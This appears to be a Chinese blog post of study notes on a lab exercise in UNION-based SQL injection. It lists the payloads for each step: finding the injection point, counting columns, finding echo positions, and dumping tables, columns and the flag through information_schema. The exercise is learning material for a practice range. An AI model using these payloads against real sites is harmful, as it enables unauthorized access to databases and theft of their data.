靶场-SQL联合注入

郑小三   ·   发表于 2024-06-12 18:08:20   ·   学习杂记

1.先判断注入点id=1‘ and 1=1 报错

id=1‘ and 1=1 #报错

2.判断字段数用

id=1 order by 4 #报错在试试其他的
id=1 order by 3 #成功判断出3个字段

3.确定好了字段数量后找回显

union select 1,2,3 -- 1   
#靶场显示
name:2;password:3,
#说明字段回显位是第二和第三个字段

4.爆库 #这里有个插曲,因为database()单词写成了databaes(),导致报错,正常报错不应该还能接着爆表的,但是我尝试了一下爆表,发现也可以爆,以为是mssql 不需要爆库,因为mssql特意忽略数据库的概念的,导致爆了一堆表出来,拿到表之后,获取数据的时候,始终是报错的,刚开始还以为是没找到对的表,有爆了几十张表出来,都报错,问了老师才发现是单词写错了,爆库的时候就错了,离了个大谱

union select 1,database(),'b'-- 1  #error

5.爆表 #这里的table_schema=database() 不要漏了,刚开始我就漏掉了

查询结果:error_flag

union select 1,table_name,'a' from information_schema.tables where table_schema=database() limit 0,1 -- 1

6.爆字段 #这里的column_name是获取字段名,我们需要获取三个字段中的后两个,所以需要写两个column_name

查询结果:flag/flag

and 1=2 union select 1,column_name,column_name from information_schema.columns where table_name='error_flag' -- 1

7.报数据 #zKaQ-Nf

and 1 = 2 union select 1,flag,flag from error_flag limit 0,1-- 1

打赏我,让我更有动力~

0 条回复   |  直到 2个月前 | 221 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.